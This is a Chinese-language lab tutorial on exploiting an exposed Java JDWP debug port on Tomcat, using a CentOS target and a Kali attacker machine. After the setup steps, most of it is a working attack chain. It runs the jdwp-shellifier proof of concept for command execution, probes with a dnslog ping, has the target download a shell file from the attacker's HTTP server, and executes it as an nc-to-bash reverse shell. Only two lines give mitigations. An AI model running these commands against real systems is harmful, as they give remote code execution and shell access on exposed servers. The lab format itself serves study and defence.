JPDA(Java Platform Debugger Architecture):即Java平台调试体系架构。Java虚拟机设计的专门的API接口供调试和监控虚拟机使用。
JPDA按照抽象层次,又分为三层,分别是:
靶机:192.168.178.128(centos)
攻击机:192.168.178.129(kali)
1、Centos安装tomcat
Tomcat官网下载https://tomcat.apache.org/download-70.cgi
,Tomcat 有一键安装版和解压版,要搭建jdwp环境只能使用解压版。
2、解压安装tomcat
tar -zxvf apache-tomcat-7.0.108.tar.gz
mkdir /opt/tomcat
mv apache-tomcat-7.0.108 /opt/tomcat/
3、修改配置文件
cd /opt/tomcat/apache-tomcat-7.0.108/bin
vim catalina.sh
//在首行添加:
CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"
连接方式有两种,为dt_shmem和dt_socket,分别表示本机调试和远程调试。address=8000 代表开启8000端口作为远程调试端口。./startup.sh
启动tomcat。
4、在windows上通过jdb连接debug模式的tomcat
jdb.exe -connect com.sun.jdi.SocketAttach:hostname=192.168.178.128,port=8000
1、简单验证
telnet端口,如果返回JDWP-Handshake,即表示存在漏洞。
2、POC
(1)poc下载地址:https://github.com/IOActive/jdwp-shellifier
(2)该漏洞无回显,可利用dnslog进行探测
python2 jdwp-shellifier.py -t 192.168.3.118 -p 8787 --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn"
3、反弹shell
下面内容均在攻击机上操作:
(1)准备反弹shell文件,保存为shell.txt
nc 192.168.178.129 3333 | /bin/bash | nc 192.168.178.129 4444%
(2)进入到有shell文件的目录下,终端开启简单http协议,使得靶机可以下载shell文件
python3 -m http.server 8000
(3)开启监听,需要开启2个监听,前面一个输入执行命令,后面一个输出命令执行结果
nc -lvvp 3333
nc -lvvp 4444
(4)利用POC执行命令,下载shell、文件可执行权限、执行shell
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "wget http://192.168.178.129:8000/shell.txt -O /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "chmod a+x /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "/tmp/shell.sh"
(1)关闭JDWP端口,或者JDWP端口不对公网开放
(2)关闭Java的debug模式